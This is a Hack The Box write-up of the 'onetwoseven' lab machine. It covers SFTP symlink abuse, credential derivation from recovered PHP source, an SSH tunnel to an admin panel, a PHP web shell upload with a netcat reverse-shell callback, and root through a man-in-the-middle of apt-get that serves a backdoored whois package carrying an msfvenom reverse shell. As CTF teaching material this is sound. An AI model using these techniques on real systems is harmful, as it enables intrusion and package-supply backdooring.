HTB{ onetwoseven }

Aug 31, 2019 | 24 minutes read

Tags: hack-the-box, ssh tunneling, tunnels, sftp, php, apt, apt-get, man-in-the-middle, mitm, unrestricted-file-upload, sudo, linux, source-code-analysis

My hat goes off to onetwoseven’s creator jkr; this box was top-notch. The flow of the box was seamless. Enumeration felt like a natural progression and the breadcrumbs were plentiful and placed in logical locations (often in more than one spot to facilitate multiple avenues of approach). I was really impressed with his first box submission. His second box Writeup is still active and not as difficult, but still high quality. At the time of this writing, onetwoseven is about to be replaced by another jkr box: zetta. I’m definitely looking forward to it!




As usual, we start with a masscan followed by a targeted nmap.

masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.

open tcp 22 1562031220
open tcp 80 1562031259


nmap -p 22,80 -sC -sV -oA nmap.

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|   256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_  256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access

Normally, this is where we would perform forced browsing or some form of automated web scan. However, there is rate-limiting, so we need to manually browse the site. There’s a portion of the site that tells us as much, though most folks found out the hard way.


While browsing, we come across and see that it provides us credentials for sftp.


We also see the use of a domain name onetwoseven.htb. Before moving on, let’s update our local DNS entry for the box in /etc/hosts.


-------------8<------------- onetwoseven.htb

With that done, let’s check out what we have access to on the remote filesystem.

We’ll start by accessing the sftp server as our pre-generated user. Because uploading and executing a web shell does not work, let’s check out what commands are available to us with the help command.

sftp ots-yZjFkZWY@onetwoseven.htb
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
Connected to ots-yZjFkZWY@onetwoseven.htb.

sftp> help
lmkdir path                        Create local directory
ln [-s] oldpath newpath            Link remote file (-s for symlink)
lpwd                               Print local working directory
ls [-1afhlnrSt] [path]             Display remote directory listing
-------------8<-------------ln -
symlink oldpath newpath            Symlink remote file

Creating a symlink sounds like it has potential and the public_html folder is writable; let’s see where it takes us.

Source Code Recovery

Let’s begin with some source code recovery. We’ll utilize the symlink command to allow us to browse the raw php files. Some files of interest that we can examine are signup.php and index.php. If we try to symlink to these files using the same name (i.e. with the php extension), we’ll run into problems with the server trying to execute the php. Instead, we’ll drop the php extension so we can recover the source code.

sftp> ln -s /var/www/html/index.php index
sftp> ln -s /var/www/html/signup.php signup

Let’s take a look at index first. We can’t view/get the files from within the sftp shell. The trick here is that we need to enter view-source: in our browser. When we do, we’re presented with the php source code. In it, we can see a breadcrumb. It lets us know that if we are accessing this page from the server itself ( or, a link to the admin panel will be visible. The admin panel itself appears to be listening on port 60080. We’ll keep this in mind as we progress.


The next file, signup, contains a juicy piece of information. Specifically, it shows us how usernames and passwords are generated for the sftp logins.


Let’s confirm what the username function does with our ip address.

 1php > $hash = md5('');                                                                                                                                                        
 2php > print $hash;
 5php > $first_username = substr($hash, 0, 8);
 6php > print $first_username;                                                                                                                           
 9php > print base64_encode($first_username);                                                                                                                                                   
11php > $encoded_username = base64_encode($first_username);
13php > print str_replace('=', '', $encoded_username);                                                                                                                                          
15php > $replaced_username = str_replace('=', '', $encoded_username);                                                                                                                           
17php > print substr($replaced_username, 3);                                                                                                                                                    
20php > $final = substr($replaced_username, 3);
21php > print "ots-" . $final;
  • line 1: generates the md5sum of the given ip address
  • line 5: grabs the first 8 characters of the hashed ip
  • line 9: base64 encodes the shortened hash
  • line 13: removes any equal signs from the string
  • line 17: returns a substring of the shortened/replaced hash starting with the fourth character and going out to the end of the string
  • line 21: concatenates the string “ots-” with the result of all the above actions, giving us our username

The password is much less complex.

php > $hash = md5('');
php > print substr($hash, 0, 8);

Ok, so why do we care? If any other users follow the ots- pattern, we can get their password! Let’s check out /etc/passwd and see if there are any users of interest.


Back in our sftp shell, we can symlink /etc/passwd and check out the contents.

sftp> ln -s /etc/passwd passwd

In the output above, we can see our username. The nice thing here is that the ip address is noted in the GECOS field of each /etc/passwd entry. Let’s take the next logical step and grab the password for the user associated with!

php > print substr(md5(''), 0, 8);

There we have it, a set of credentials! Let’s use them on the sftp service.

sftp ots-yODc2NGQ@onetwoseven.htb
ots-yODc2NGQ@onetwoseven.htb's password: f528764d
Connected to ots-yODc2NGQ@onetwoseven.htb.
sftp> ls -al
drwxr-xr-x    3 0        0            4096 Feb 15  2019 .
drwxr-xr-x    3 0        0            4096 Feb 15  2019 ..
drwxr-xr-x    2 999      999          4096 Feb 15  2019 public_html
-r--r-----    1 0        999            33 Feb 15  2019 user.txt

After logging in, we see user.txt waiting for us. All that’s left is to download it and turn it in!

sftp> get user.txt
Fetching /user.txt to user.txt
/user.txt                                                                                                                                                   100%   33     0.3KB/s   00:00    
cat user.txt


Hol’up. We don’t even have a shell? Let’s fix that as we go for root.

Unauth to www-admin-data


Let’s revisit the sftp server yet again. This time, we’ll link the root of the filesystem (or at least our view of it).

sftp> cd public_html/
sftp> ln -s / root

We’ll make use of our browser again to view the results.


Drilling down into the folders, the only file of interest we have permission to browse to at this point is .login.php.swp, located at http://onetwoseven.htb/~ots-mODVhZTM/var/www/html-admin/.


Let’s download the file and analyze its contents. Running the file command on .login.php.swp shows us that it’s a vim swap file. (firefox may have named the file login.php.swp on your behalf, don’t sweat it. The following steps work either way)

file .login.php.swp

login.php.swp: Vim swap file, version 8.0, pid 1861, user root, host onetwoseven, file /var/www/html-admin/login.php

In this case, when vim opened the login.php file for editing, it created a hidden swap file .login.php.swp. This is pretty standard vim behavior and it’s quite common to see these laying around as a result of vim exiting in a weird state or vim editors being left open. Luckily for us, having the swap file makes it incredibly easy to recover the original file.

vim -r .login.php.swp 

Using swap file ".login.php.swp"
"/var/www/html-admin/login.php" [New DIRECTORY]
Recovery completed. You should check if everything is OK.
(You might want to write out this file under another name
and run diff with the original file to check for changes)
You may want to delete the .swp file now.

Press ENTER or type command to continue

Once we’re presented with the prompt above, we can press ENTER and revel in the glory of our freshly recovered file. There are a few lines that we’re definitely concerned with; we’ll start with line #1.

1<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>

Line #1 tells us that we can expect the server running this php file to be on port 60080. Recall from our source code recovery that we’ve seen this port listed before. With all we’ve seen so far, it’s safe to assume that it will be running on localhost.

Next up, line #26 lets us know that this php file is tied to their backend administration.

26<a class="navbar-brand" href="/login.php">OneTwoSeven - Administration Backend</a>

The really juicy stuff is on line #78; an admin username and password hash!

78if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {

Often, we want to reach for the cool tools like hashcat. However, we can instead just use to get the cleartext password.


ssh Tunnel to Admin Panel

We’ve got creds to the admin panel, but we can’t get to the site (yet). Let’s try setting up an ssh tunnel to the admin panel.

ssh ots-yZjFkZWY@onetwoseven.htb
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def

This service allows sftp connections only.
Connection to onetwoseven.htb closed.

Ok, we can’t ssh, or can we? Let’s add a -v to the ssh command and take a closer look.

ssh -v ots-yZjFkZWY@onetwoseven.htb
OpenSSH_8.0p1 Debian-4, OpenSSL 1.1.1c  28 May 2019
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug1: Next authentication method: password
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
debug1: Authentication succeeded (password).
Authenticated to onetwoseven.htb ([]:22).
debug1: channel 0: new [client-session]
debug1: Requesting
debug1: Entering interactive session.

The conclusion we can draw from the above output is that the connection succeeds and the ssh connection gets established before it is disconnected by the server. We’ll use this fact to set up an ssh forward tunnel to hit port 60080 on the server’s loopback address.

If you’re new to ssh tunneling, check out my writeup of Vault and follow along. There are a lot of traffic bending techniques to be learned on that one.

Two ssh options will assist us in setting up a tunnel without an interactive shell. Let’s check them out.

ssh -Nf ots-yZjFkZWY@onetwoseven.htb -L 60080:
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
ssh options used:
        Do not execute a remote command.  This is useful for just 
        forwarding ports.
        Requests ssh to go to background just before command execution.
        Specifies that connections to the given TCP port on the local 
        (client) host are to be forwarded to the given host and port on 
        the remote side.

Below we see a breakdown of the tunneling options used.

forward tunnel options used:

        The port on the local end to listen on; (kali:60080)
        Where the traffic is destined after reaching 60080 from the point of view 
        of the creator of the tunnel (traffic will start on kali and be sent 
        through to finally hit from's 
        point of view)
        The port to which traffic is destined.

After running the command above, we’ll take a look at netstat on kali. When we do, we should see a listener on port 60080.

netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      12068/ssh           
tcp        0      0    *               LISTEN      1/init              
tcp6       0      0 ::1:60080                :::*                    LISTEN      12068/ssh           
tcp6       0      0 :::111                   :::*                    LISTEN      1/init              
tcp6       0      0           :::*                    LISTEN      27777/java          

We can see that there is a listener on 60080 on our kali machine. Any traffic sent there will be forwarded to’s localhost interface on port 60080. Knowing that, we can browse to the local tunnel which will move all of our traffic through the tunnel over to the target.

Let’s check it out!

Admin Panel Web Shell

With our tunnel in place, we can browse to and see the login screen. We’ll proceed with our creds ots-admin:Homesweethome1


After logging in, we’re greeted by the addons menu.


The most obvious thing to try is the big Plugin Upload section at the bottom. We can use the developer tools to enable the Submit Query button.

When we view the button in the dev tools, we see a disabled attribute on the \<input\> tag.


We can simply remove the attribute to enable the button.


Let’s try to upload a simple php web shell a try for funsies. While we’re at it, let’s capture the POST request in Burp, as it will come in handy later.


<?php system($_GET['epi']); ?>


The website responds with a 404 error.


If we browse to, we can see a note that tells us disabled features result in 404 errors. We can assume that there has been an attempt to disable file upload functionality.

There is also a note on the page above:

The addon manager must not be executed directly but only via the provided RewriteRules

So, when we want to download one of the files listed on the menu, we request it via a URL similar to this:[SOME_PLUGIN]. Whenever addon-download.php is requested, the webserver internally rewrites the request to be addons/ots-man-addon.php. Notice that both addon-upload.php and addon-download.php are both handled by the same file: ots-man-addon.php.

Since we’re most interested in the file responsible for handling file upload and download, let’s use one of the handy links to the side of each addon ([DL]) and grab ots-man-addon.php to analyze its source.

Below is the snippet of code we’re concerned with. Everything below what’s shown here is unrelated to getting our shell on target.

 1<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
 2# OneTwoSeven Admin Plugin
 3# OTS Addon Manager
 4switch (true) {
 5        # Upload addon to addons folder.
 6        case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
 7                if(isset($_FILES['addon'])){
 8                        $errors= array();
 9                        $file_name = basename($_FILES['addon']['name']);
10                        $file_size =$_FILES['addon']['size'];
11                        $file_tmp =$_FILES['addon']['tmp_name'];
13                        if($file_size > 20000){
14                                $errors[]='Module too big for addon manager. Please upload manually.';
15                        }   
17                        if(empty($errors)==true) {
18                                move_uploaded_file($file_tmp,$file_name);
19                                header("Location: /menu.php");
20                                header("Content-Type: text/plain");
21                                echo "File uploaded successfull.y";
22                        } else {
23                                header("Location: /menu.php");
24                                header("Content-Type: text/plain");
25                                echo "Error uploading the file: ";
26                                print_r($errors);
27                        }   
28                }   
29                break;

The first piece of code that concerns us is line 1. Below, we have line 1 in an easier to read format.

 4if (!isset ($_SESSION['username'])) 
 6    header("Location: /login.php"); 
 8if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) 
10    die(); 
  • line 8: if the string /addons/ is found anywhere in our URL, the server will sever our connection and our request will never proceed through the rest of the code

This means we can’t use the php file directly, but we can use the RewriteRules discussed above to get our requests to this file.

Next, we’ll take a look at hitting the case statement that controls entry into the code branch where file uploads occur.

6case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):

The preg_match works on regular expression, so it’s slightly different than the strpos discussed above. We want the code on line 6 to evaluate to true to follow that branch of code. That means that we need to include the string /addon-upload.php somewhere in our URL. There’s a nice resource I use when playing with regex In the screenshot below, we’ve checked the radio button on the left to designate php-style regex. The regex itself doesn’t include the first and last /s. Those forward slashes denote the beginning and end of the regular expression, nothing more.


Recall our request that we captured in Burp earlier. We sent a request to and got a 404 response. We need a way to include the required string, but not get the 404.

From our discussion about RewriteRules, we know that there are two methods of requesting this file. We’re going to have to request to even get a request through to the file. Then, we just need to include the required string in the request.


Let’s go back to our captured request in Burp and alter the URL to match what we’ve found.


The only change we made is highlighted on the left. We changed the URL and resent the file upload request we captured earlier. This time, we clearly see the successful response message.

All that’s left to do is check that our shell.php works as intended.


For the sake of moving forward, let’s grab an interactive shell. First, spin up a listener.

nc -nvlp 12345

And then, trigger the callback. -e /bin/bash 12345

Finally, let’s grab a TTY.

python -c 'import pty;pty.spawn("/bin/bash")'

\o/ - access level: www-admin-data

www-admin-data to root

A simple sudo -l will show us the way forward.

Matching Defaults entries for www-admin-data on onetwoseven:
    env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy",

User www-admin-data may run the following commands on onetwoseven:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

We see some interesting environment variables are preserved when using sudo. The first thing that comes to mind is being able to proxy connections in a way that will facilitate exploitation.

One piece of information we need to examine to confirm our suspicions is what repositories the box is configured to use. We can do that by looking in /etc/apt/sources.list.d for any .list files. These files contain repository URLs and some additional metadata for the package manager to use.

cat /etc/apt/sources.list.d/onetwoseven.list

# OneTwoSeven special packages - not yet in use
deb http://packages.onetwoseven.htb/devuan ascii main

Nice! An unused repository. We’ll need to keep this URL in mind for later.

A package manager (like apt-get et. al) requests software/libraries/updates etc from remote repositories. Based on the fact that we can call both apt-get update and apt-get upgrade without a password, we can control proxy related environment variables, and that there is an unused repository configured; we can be reasonably confident that we’re able to perform a man-in-the-middle attack against the package manager. We’ll use the MitM attack to install backdoored software on the machine. Let’s see what that looks like.

Building a Backdoored Package

A word about packages from Debian’s wiki

A Debian package is a collection of files that allow for applications or libraries to be distributed via the Debian package management system. The aim of packaging is to allow the automation of installing, upgrading, configuring, and removing computer programs for Debian in a consistent manner.

Let’s start by selecting a legitimate package installed on the system. We do this because the commands we can run are update and upgrade. This means we can’t install new software. When we run update, the package manager will see there’s a new package. When we run upgrade, the package manager will then download and install that updated (backdoored) package. We’ll use dpkg to get a list of installed software.

dpkg -l

||/ Name                                   Version                            Architecture Description
ii  adduser                                3.115                              all          add and remove users and groups
ii  apache2                                2.4.25-3+deb9u6                    amd64        Apache HTTP Server
ii  apache2-bin                            2.4.25-3+deb9u6                    amd64        Apache HTTP Server (modules and other binary files)
ii  whiptail       0.52.19-1+b1 amd64        Displays user-friendly dialog box
ii  whois          5.2.17~deb9u amd64        intelligent WHOIS client
ii  xauth          1:1.0.9-1+b2 amd64        X authentication utility

There is no rhyme or reason here, so let’s use the whois package. To find the proper version of the package we need, we’ll ask the package manager what’s currently installed.

Package Download

apt-cache show whois

Package: whois                                                                                 
Version: 5.2.17~deb9u1                                                                         
Installed-Size: 343
Maintainer: Marco d'Itri <>                                                         
Architecture: amd64
Depends: libc6 (>= 2.15), libidn11 (>= 1.13)                                                   
Description: intelligent WHOIS client                                                          
Description-md5: 28e9df99a50bdfe098edfcf773417990                                              
Tag: implemented-in::c, interface::commandline, network::client,                               
 protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking,
Section: net
Priority: optional
Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb                               
Size: 76772
MD5sum: ac528a3b41bcdc8e78084d61e4aa2957                                                       
SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551

A quick google search for 5.2.17~deb9u1 brings us to Clicking through to the AMD64 download gets us the legitimate .deb file that we’ll be modifying. Below the wget command is included for your convenience.


Package Modification

Now that we’ve got our package, we can make our malicious modifications. We’ll begin by extracting the package.

dpkg-deb -R whois_5.2.17~deb9u1_amd64.deb backdoored-whois

The command above should give us the following directory structure.

├── DEBIAN                      
│   ├── control   
│   └── md5sums                
└── usr                         
    ├── bin          
    │   ├── mkpasswd           
    │   └── whois 
    └── share                  
        ├── doc                 
        │   └── whois
        ├── locale  
        │   ├── cs               
        │   │   └── LC_MESSAGES
        │   │       └──
        └── man
            ├── man1
            │   ├── mkpasswd.1.gz
            │   └── whois.1.gz
            └── man5
                └── whois.conf.5.gz

Our next step is to create our callback binary; we’ll do this using msfvenom.

msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST=dead:beef:2::1001 LPORT=12345 -f elf -o backdoored-whois/usr/bin/revshell

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 90 bytes
Final size of elf file: 210 bytes
Saved as: backdoored-whois/usr/bin/revshell

You may be wondering, why ipv6? The answer is simple; I wrote the linux 64-bit bind/reverse shell payloads and enjoy putting them to use.

Don’t forget to make ./usr/bin/revshell executable!

chmod +x ./usr/bin/revshell

Next, we’ll create our postinst maintainer script. The postinst script will run after all the contents of the package are unpacked. We likely could use some of the other maintainer scripts, but we’re going to use a script to call our binary, so we want the binary to be unpacked to disk before it’s executed.

There is more information in the debian packaging documentation found here and here if you’re interested.


/usr/bin/revshell &

Don’t forget to make postinst executable!

chmod 755 backdoored-whois/DEBIAN/postinst

With that done, we can repackage our malicious whois update.

dpkg-deb -b backdoored-whois

dpkg-deb: building package 'whois' in 'backdoored-whois.deb'.

That’s it for the package, now we need to build the repository structure. We’ll do that next.

Building the Repository

Recall that the target’s package manager is going to reach out to us as though we are the package repository. The package manager is going to expect a certain directory structure as well as a few files to be present. We’ll go ahead and create those now.

First, let’s create a working directory for the repository and move our backdoored-whois.deb into it.

mkdir barebones-repo
mv backdoored-whois.deb barebones-repo/
cd barebones-repo

Release file

Next, we’ll create a Release file inside barebones-repo. According to the Debian wiki, “A Release file shall contain meta-information about the distribution and checksums.” To create a Release file, we’ll just copy and paste the output from apt-cache show whois from the target system (remember, we already ran this once above).

apt-cache show whois

Package: whois
Version: 5.2.17~deb9u1
Installed-Size: 343
Maintainer: Marco d'Itri <>
Architecture: amd64
Depends: libc6 (>= 2.15), libidn11 (>= 1.13)
Description: intelligent WHOIS client
Description-md5: 28e9df99a50bdfe098edfcf773417990
Tag: implemented-in::c, interface::commandline, network::client,
 protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking,
Section: net
Priority: optional
Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb
Size: 76772
MD5sum: ac528a3b41bcdc8e78084d61e4aa2957
SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551

Now we need to alter a few of the fields in the Release file. Specifically, we need to update the Version, Filename, Size, MD5sum, and SHA256 fields.

The first two changes are simple. We just increment the version number and the filename. We do this so that the package manager recognizes the need to update this particular package (i.e. the one installed on the target system is older than the one in the repo).

OLD LINE:  Version: 5.2.17~deb9u1
NEW LINE:  Version: 5.2.17~deb9u2
OLD LINE:  Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb
NEW LINE:  Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb

After that, we’ll update the Size field. We just need the new size of our malicious .deb.

ls -l backdoored-whois.deb 
-rw-r--r-- 1 root root 77276 Aug 30 06:36 backdoored-whois.deb
OLD LINE:  Size: 76772
NEW LINE:  Size: 77276

Next, we update the MD5sum field. To update it, we’ll need to grab the md5 hash of our .deb.

md5sum backdoored-whois.deb 
2845688fc677c713b2ef8b187d0aeb71  backdoored-whois.deb
OLD LINE:  MD5sum: ac528a3b41bcdc8e78084d61e4aa2957
NEW LINE:  MD5sum: 2845688fc677c713b2ef8b187d0aeb71

Finally, the SHA256 field.

sha256sum backdoored-whois.deb 
725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217  backdoored-whois.deb
OLD LINE:  SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551
NEW LINE:  SHA256: 725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217

Great, now our Release file is complete! Next up, we need a Packages file.

Packages files

Fortunately, the content is the same as Release, so a simple copy is sufficient.

cp Release Packages

Another requirement we need to satisfy is that we need a gzipped Packages file. Again, this is a simple step.

gzip Packages -c > Packages.gz 

Repository Directory Structure

We’re nearing the end of the repository setup steps. We now need to create the directory structure that the package manager expects to see.

My actual process for figuring this out was to have all of the MitM pieces in place (described below) and trying to run apt-get update. Each time I did, it would error out with messages like E: Failed to fetch http://packages.onetwoseven.htb/devuan/dists/ascii/main/binary-amd64/Packages 404 File not found. I repeatedly ran the command, checked the errors, and built the things that were needed.

The two mkdir commands below will setup our repo directories.

mkdir -p devuan/dists/ascii/main/binary-amd64
mkdir -p devuan/pool/DEBIAN/main/w/whois

Finally, we need to put all of our files in their proper places. Part of this is renaming backdoored-whois.deb to match the filename we used in the Release file.

mv backdoored-whois.deb devuan/pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb
mv Packages* devuan/dists/ascii/main/binary-amd64/
mv Release devuan/dists/ascii/

Our repo should look like this now.

└── devuan
    ├── dists
    │   └── ascii
    │       ├── main
    │       │   └── binary-amd64
    │       │       ├── Packages
    │       │       └── Packages.gz
    │       └── Release
    └── pool
        └── DEBIAN
            └── main
                └── w
                    └── whois
                        └── whois_5.2.17~deb9u2_amd64.deb

That’s it! We now have a minimal repo from which we can serve up our malicious package.

Man in the Middle

Alright, we’re in the home stretch. There are a few small steps we need to take to properly handle the requests that will originate on the target machine. To begin, we’ll set up a reverse ssh tunnel to get the traffic sent to the “proxy” back to our local machine.

ssh -Nf ots-yZjFkZWY@onetwoseven.htb -R 8002:127.1:8080
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def

Where we used port 8002; the actual port doesn’t matter too much, as long as it isn’t already bound. Our proxy will listen on kali on port 8080, so that’s where we want the remote traffic to come to on kali’s localhost.

reverse tunnel options used:

        The port on the remote end to listen on; (
        Where the traffic flows after reaching 8002 from the point of view 
        of the creator of the tunnel (traffic dumps out on kali; the 
        creator's localhost)
        The port to which traffic is destined.  

Next, we’ll set up the proxy. We’re going to use BurpSuite as our proxy. Burp listens on port 8080 by default. All we need to do is start it up. It’s dealer’s choice on how to get it started, click the icon or run the command below.

java -jar $(which burpsuite)

Also, ensure that Intercept is off.


Huzzah, we’ve set up our proxy! Now, remember when we looked at the repositories that the target machine is configured to use? We found the URL http://packages.onetwoseven.htb/devuan. All of the requests sent to our proxy will ultimately be looking for the packages.onetwoseven.htb subdomain. Since we’re impersonating this repository, we need to tell Burp that WE are deb packages.onetwoseven.htb. We’ll do this by modifying /etc/hosts.

4127.0.0.1   localhost packages.onetwoseven.htb
5127.0.1.1   kail

With that done, Burp will proxy the requests coming to it “out” to packages.onetwoseven.htb which is really our kali’s localhost interface.

Our last step before exploitation is to start the webserver that will host the files in our repository.

cd barebones-repo 
python3 -m http.server 80

Now all of the pieces are in place for us to MitM the package manager. Let’s see it in action!


Before running the exploit, we need an ipv6 listener (remember the msfvenom command?).

nc -vnl6p 12345
Ncat: Version 7.70 ( )                                                                                                                                                  
Ncat: Listening on :::12345                                                                                                                                                                   

Now, on the target machine, we first run apt-get update followed by apt-get upgrade

sudo http_proxy= apt-get update

Ign:1 http://packages.onetwoseven.htb/devuan ascii InRelease
Get:2 http://packages.onetwoseven.htb/devuan ascii Release [627 B]
Fetched 1093 B in 12s (86 B/s)                                                                 
Reading package lists... Done
W: The repository 'http://packages.onetwoseven.htb/devuan ascii Release' is not signed.
N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
N: See apt-secure(8) manpage for repository creation and user configuration details.           
W: Conflicting distribution: http://packages.onetwoseven.htb/devuan ascii Release (expected ascii but got )
E: Failed to fetch  Connection failed
E: Failed to fetch  Connection failed
E: Some index files failed to download. They have been ignored, or old ones used instead.      

We see some warnings and errors in the output above, but they can be ignored.

For the upgrade command, if we see whois listed in the packages to be upgraded, we know that our exploit has at least partially worked; the package manager is going to try to upgrade the package.

sudo http_proxy= apt-get upgrade 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  debian-archive-keyring tzdata whois
3 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 77.2 kB/426 kB of archives.
After this operation, 31.7 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
WARNING: The following packages cannot be authenticated!
Install these packages without verification? [y/N] y
Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 whois amd64 5.2.17~deb9u2 [77.2 kB]
Fetched 77.2 kB in 0s (281 kB/s)
Reading changelogs... Done
Setting up whois (5.2.17~deb9u1) ...
Processing triggers for man-db ( ...

If all went well, we should see a connection come back to our netcat listener.

Ncat: Connection from dead:beef::250:56ff:feb2:e2a6.                                                                                                                                          
Ncat: Connection from dead:beef::250:56ff:feb2:e2a6:53952.                                                                                                                                    
uid=0(root) gid=0(root) groups=0(root)                                                                                                                                                        
cat /root/root.txt

There we go, we’ve successfully MitM’d a package manager to escalate privileges. High five!!

\o/ - root access

I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.


Additional Resources

  1. debian maintainer scripts (1)
  2. debian maintainer scripts (2)
  3. debian Release file
  4. apt mitm package injection

comments powered by Disqus